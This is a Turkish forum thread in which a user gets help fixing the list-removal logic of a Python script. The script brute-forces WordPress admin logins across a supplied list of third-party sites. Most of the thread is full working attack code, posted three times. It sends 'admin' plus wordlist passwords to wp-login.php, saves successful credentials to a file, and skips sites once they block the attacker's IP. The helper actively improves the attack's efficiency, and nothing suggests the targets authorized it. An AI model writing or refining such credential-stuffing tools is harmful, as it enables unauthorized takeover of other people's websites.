For Döngüsünün İçinde Listedeki Şeyi Nasıl Silebilirim ?

Son yazdığınız kodları görebilir miyim?

else:
    print("Hatalı Şifre!", x, i)
    ayikla.append(x)
    ayiklanmis = [i for i in siteler if i not in ayikla]
    print(ayiklanmis)
    continue

Olay Bu Yani Burada Neden Çalışmadı…

Peki şifreyi hatalı girdiğinizde ayiklanmis listesi hangi elemanlardan oluşuyor?

Siteler’in Elemanlarından Oluşmuyormu Hocam ?

Ben hala neden else satırına böyle bir ifadeyi koyduğunuzu anlayamadım. Yani sorduğum soru onu öğrenmek amacını taşıyor. Siz nasıl bir çıktı alıyorsunuz? Dediğim gibi kodlarınızı çalıştıramıyorum. If durumundaki sonuç ile else durumundaki sonucun aynı olmaması gerek. If durumu oluştuğunda (yani ‘dashboard’ r.text içinde yer aldığında) bu koşulu sağlayan site, ayiklanmis listesine dahil edilmemeli. Ancak siteler listesine ait diğer bütün elemanların ayiklanmis listesinin içinde yer alması gerekir.

Hocam Elsede Çalıştırma Sebebim Programın Gidişatını Denemek… İf İle Denersem Doğru Bir Site Bulana Kadar Deniyememiş Olucağım… Ve Programı Çalıştırmanız Gerekiyorsa İlla Ben Size Nasıl Çalıştığını Anlatayim İsterseniz.

Peki, anlatın. Ayrıca bu import ifadesinin çalıştırdığı kodlar da bende yok. Yalnız tempom biraz düştü, gecikmeli de olsa size mesaj atarım.

Hocam requests modülünü yüklediğinizi var sayarak:
Programın Olduğu Klasörde siteler.txt Diye Dosya Oluşturun… Elinizde Site Olmuyacağı İçin Vereyim: https://paste.ubuntu.com/26287881/

Daha Sonra Default Şifre Olayına H Diyin İsterseniz Ve sifreler.txt Diye Bir Dosya Oluşturun Programın Olduğu Dizinde Ve Dizini Kopyalayıp Programa Yapıştırın. Daha Sonrasında Otomatik Bir Şekilde Çalışacaktır Eğer E Deserseniz Sorduğu Soruya import edilen Scripts.bruteforcewordlist.py’i Çalıştırmak İçin Programın Olduğu Klasörde Scripts Adlı Dosya Oluşturup https://paste.ubuntu.com/26287888/ Şuradaki Listeyi Aktarın…

Şöyle bir çıktı alıyorum: (Daha da devam ediyor…)

Evet Olayda Burada Eğer Hatalı Derse Veyahut IP Blok Yendi Derse Siteyi Silicek…

Anladığım kadarıyla, her bir site için bu şifreler dosyasının içindeki bütün şifreleri denemek ve bu şifreler tek tek denendikten sonra da, siteler listesinden denenmiş sitelerin silinmesini istiyorsunuz.
Şayet böyle bir işlem yapmak istiyorsanız, lütfen aşağıdaki kodları çalıştırmayı bir deneyin.
Aşağıdaki kodlara göre, siteler listesinde hangi elemanlar var, bir kez ekrana bastırılacak. Sonra sifreler listesindeki her bir sifre, sırayla bütün siteler için denenecek. Deneme sırası diğer siteye geçince, denenmiş site listeden silinecek ve ekrana tekrar siteler listesi bastırılacak. Bu işlem, şifreler bütün siteler için deneninceye kadar devam edecek. Bu işlemin bitmesini beklerseniz, en sonunda siteler listesinin bütün elemanları silinmiş olacak.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests

girisyapilansiteler = open("girisyapilansiteler.txt", "w")

from sifreler import *

kullaniciadi = "admin"


def bruteforce():
        soru = input("Default Şifrelerle mi Denemek İstiyorsunuz? E\H: ")
        if soru == "E" or soru == "e":
            siteler = []
            oku = open("siteler.txt", "r")
            sitelerioku = oku.readlines()
            for websiteleri in sitelerioku:
                siteler.append(websiteleri.replace("\n", "") + "wp-login.php")
            print("Siteler Ekleniyor...")
            print("Siteler Eklendi!")
            print(siteler)
            for x in siteler:
                for i in sifreler:
                    try:
                        payload = {'log': kullaniciadi, 'pwd': i}
                        r = requests.post(x, data=payload, timeout=5)
                        if "Dashboard" in r.text or "dashboard" in r.text:
                            print("Giriş Başarılı:", x + ":" + kullaniciadi + ":" + i)
                            girisyapilansiteler.write("Siteler:\n"+"Kullanıcı Adı:"+" "+" "+"Sifreler:")
                            girisyapilansiteler.write("\n"+x+"admin"+" "+" "+i)
                        else:
                            print("Hatalı Şifre!", x, i)
                            continue
                    except:
                        print("Hatalı Şifre Veya IP Blok Yendi.", x, i)
                        continue
                siteler.remove(x)
                print(siteler)
        elif soru == "H" or soru == "h":
            siteler = []
            oku = open("siteler.txt", "r")
            sitelerioku = oku.readlines()
            sifrelerr = []
            dizin = input("Şifrelerin Olduğu Dizini Giriniz: ")
            sifrelerioku = open(dizin, "r")
            sifreoku = sifrelerioku.readlines()
            for i in sifreoku:
                sifrelerr.append(i.replace("\n", ""))
            for websiteleri in sitelerioku:
                siteler.append(websiteleri.replace("\n", "") + "wp-login.php")
            print("\nSiteler Ekleniyor...\n")
            print("Bütün Siteler Eklendi!\n")
            for x in siteler:
                for i in sifrelerr:
                    try:
                        payload = {'log': kullaniciadi, 'pwd': i}
                        r = requests.get(x, timeout=5)
                        if r.status_code == 200 and "pwd" in r.text:
                            r = requests.post(x, data=payload, timeout=5)
                            if "Dashboard" in r.text or "dashboard" in r.text:
                                print("Giriş Başarılı:", x + ":" + kullaniciadi + ":" + i)
                                girisyapilansiteler.write("Siteler:\n" + "Kullanıcı Adı:" + " " + " " + "Sifreler:")
                                girisyapilansiteler.write("\n" + x + "admin" + " " + " " + i)
                            else:
                                print("Hatalı Şifre!", x, i)
                                continue
                        else:
                            print("Siteye Bağlanılamıyor. Veya IP Block Yendi.", x)
                    except:
                        continue
            
                        
bruteforce()

Anladım Hocam Peki print ile ekrana bastırmasak oluyormu ? Ve Asıl İstediğim Giriş Başarılı Dediyse O Sitenin Silinmesi Yani Bütün Şifreler Denendikten Sonra Değil…

O zaman, aşağıdaki blokun altında remove işlemini tanımlamanız gerekiyor. Ayrıca bu şifreler yanlış şifreler ise ki çoğunun yanlış olduğu görülüyor o zaman denenmiş olan site, siteler listesinden silmez. Yani siz, doğru bir şifre edindiğinizden emin olmalısınız ki, sitenin silinip silinmediğini test edebilesiniz.

                        if "Dashboard" in r.text or "dashboard" in r.text:
                            print("Giriş Başarılı:", x + ":" + kullaniciadi + ":" + i)
                            girisyapilansiteler.write("Siteler:\n"+"Kullanıcı Adı:"+" "+" "+"Sifreler:")
                            girisyapilansiteler.write("\n"+x+"admin"+" "+" "+i)

Ayrıca bir önceki mesajınızda IP Blok yazısı veya şifre hatalı yazısı ekrana bastırılırsa, silinsin demişsiniz, şimdi de giriş başarılı ise site silinsin diyorsunuz…

Evet İkisindede Silinmeli Onu Söylemeyi Unuttum… Yani IP Blok Yendiyse Tekrar Denemesi Çok Saçma Ve Zaman Kaybı Veyahut Siteye Girerse Diğerlerinide Denerse Yine Zaman Kaybı :slight_smile:

O zaman şöyle yapmak istiyorsunuz; her bir site için bütün şifreleri yalnızca şifre hatalı ise denemeye devam etsin ve bütün şifreler hatalı ise, sonunda bu site silinsin. Diğer durumlarda yani şifre başarılı ise veya IP Blok Yendi yazısı çıkarsa, site yine silinsin?

Heh Aynen Hocam Tam Olarak İstediğim Bu Bütün Şifreler Hatalıysa Bile Silmesine Gerek Yok Aynen İşleme Devam Edebilir Sadece 2 Koşulda Silinmeli Site Bu da Giriş Başarılı Olduğunda Veyahut IP blok yerse.

O zaman aşağıdaki kodları bir inceleyin:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests

girisyapilansiteler = open("girisyapilansiteler.txt", "w")

from sifreler import *

kullaniciadi = "admin"


def bruteforce():
        soru = input("Default Şifrelerle mi Denemek İstiyorsunuz? E\H: ")
        if soru == "E" or soru == "e":
            siteler = []
            oku = open("siteler.txt", "r")
            sitelerioku = oku.readlines()
            for websiteleri in sitelerioku:
                siteler.append(websiteleri.replace("\n", "") + "wp-login.php")
            print("Siteler Ekleniyor...")
            print("Siteler Eklendi!")
            print(siteler)
            for x in siteler:
                for i in sifreler:
                    try:
                        payload = {'log': kullaniciadi, 'pwd': i}
                        r = requests.post(x, data=payload, timeout=5)
                        if "Dashboard" in r.text or "dashboard" in r.text:
                            print("Giriş Başarılı:", x + ":" + kullaniciadi + ":" + i)
                            girisyapilansiteler.write("Siteler:\n"+"Kullanıcı Adı:"+" "+" "+"Sifreler:")
                            girisyapilansiteler.write("\n"+x+"admin"+" "+" "+i)
                            break
                        else:
                            print("Hatalı Şifre!", x, i)
                            continue
                    except:
                        print("Hatalı Şifre Veya IP Blok Yendi.", x, i)
                        break
                siteler.remove(x)
                print(siteler)
        elif soru == "H" or soru == "h":
            siteler = []
            oku = open("siteler.txt", "r")
            sitelerioku = oku.readlines()
            sifrelerr = []
            dizin = input("Şifrelerin Olduğu Dizini Giriniz: ")
            sifrelerioku = open(dizin, "r")
            sifreoku = sifrelerioku.readlines()
            for i in sifreoku:
                sifrelerr.append(i.replace("\n", ""))
            for websiteleri in sitelerioku:
                siteler.append(websiteleri.replace("\n", "") + "wp-login.php")
            print("\nSiteler Ekleniyor...\n")
            print("Bütün Siteler Eklendi!\n")
            for x in siteler:
                for i in sifrelerr:
                    try:
                        payload = {'log': kullaniciadi, 'pwd': i}
                        r = requests.get(x, timeout=5)
                        if r.status_code == 200 and "pwd" in r.text:
                            r = requests.post(x, data=payload, timeout=5)
                            if "Dashboard" in r.text or "dashboard" in r.text:
                                print("Giriş Başarılı:", x + ":" + kullaniciadi + ":" + i)
                                girisyapilansiteler.write("Siteler:\n" + "Kullanıcı Adı:" + " " + " " + "Sifreler:")
                                girisyapilansiteler.write("\n" + x + "admin" + " " + " " + i)
                            else:
                                print("Hatalı Şifre!", x, i)
                                continue
                        else:
                            print("Siteye Bağlanılamıyor. Veya IP Block Yendi.", x)
                    except:
                        continue


bruteforce()

EDİT: Kodlarda düzeltme yapıldı.

Ancak yukarıdaki komutlarda şöyle bir sıkıntı var: Bir siteyi sildikten sonra, liste daralmaya başlıyor. Dolayısıyla indeks sırası değiştiği için silme işlemi yine tam istendiği gibi olmuyor.

Yukarıda bahsettiğim sorunu önlemek için dün bahsettiğim liste üreteci yöntemi kullanılabilir. Aşağıdaki kodları çalıştırmayı deneyin.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests

girisyapilansiteler = open("girisyapilansiteler.txt", "w")

from sifreler import *

kullaniciadi = "admin"


def bruteforce():
        soru = input("Default Şifrelerle mi Denemek İstiyorsunuz? E\H: ")
        if soru == "E" or soru == "e":
            siteler = []
            oku = open("siteler.txt", "r")
            sitelerioku = oku.readlines()
            for websiteleri in sitelerioku:
                siteler.append(websiteleri.replace("\n", "") + "wp-login.php")
            print("Siteler Ekleniyor...")
            print("Siteler Eklendi!")
            print(siteler)
            ayikla = []
            for x in siteler:
                for i in sifreler:
                    try:
                        payload = {'log': kullaniciadi, 'pwd': i}
                        r = requests.post(x, data=payload, timeout=5)
                        if "Dashboard" in r.text or "dashboard" in r.text:
                            print("Giriş Başarılı:", x + ":" + kullaniciadi + ":" + i)
                            girisyapilansiteler.write("Siteler:\n"+"Kullanıcı Adı:"+" "+" "+"Sifreler:")
                            girisyapilansiteler.write("\n"+x+"admin"+" "+" "+i)
                            break
                        else:
                            print("Hatalı Şifre!", x, i)
                            continue
                    except:
                        print("Hatalı Şifre Veya IP Blok Yendi.", x, i)
                        break
                ayikla.append(x)
                ayiklanmis = [i for i in siteler if i not in ayikla]
                print(ayiklanmis)
        elif soru == "H" or soru == "h":
            siteler = []
            oku = open("siteler.txt", "r")
            sitelerioku = oku.readlines()
            sifrelerr = []
            dizin = input("Şifrelerin Olduğu Dizini Giriniz: ")
            sifrelerioku = open(dizin, "r")
            sifreoku = sifrelerioku.readlines()
            for i in sifreoku:
                sifrelerr.append(i.replace("\n", ""))
            for websiteleri in sitelerioku:
                siteler.append(websiteleri.replace("\n", "") + "wp-login.php")
            print("\nSiteler Ekleniyor...\n")
            print("Bütün Siteler Eklendi!\n")
            for x in siteler:
                for i in sifrelerr:
                    try:
                        payload = {'log': kullaniciadi, 'pwd': i}
                        r = requests.get(x, timeout=5)
                        if r.status_code == 200 and "pwd" in r.text:
                            r = requests.post(x, data=payload, timeout=5)
                            if "Dashboard" in r.text or "dashboard" in r.text:
                                print("Giriş Başarılı:", x + ":" + kullaniciadi + ":" + i)
                                girisyapilansiteler.write("Siteler:\n" + "Kullanıcı Adı:" + " " + " " + "Sifreler:")
                                girisyapilansiteler.write("\n" + x + "admin" + " " + " " + i)
                            else:
                                print("Hatalı Şifre!", x, i)
                                continue
                        else:
                            print("Siteye Bağlanılamıyor. Veya IP Block Yendi.", x)
                    except:
                        continue


bruteforce()

Aa… break İfadesini Niye Daha Önceden Denemedikki Acaba :slight_smile: Şuan Biraz Garipsedim :slight_smile: Teşekkür Ederim Hocam Hemen Deniyorum.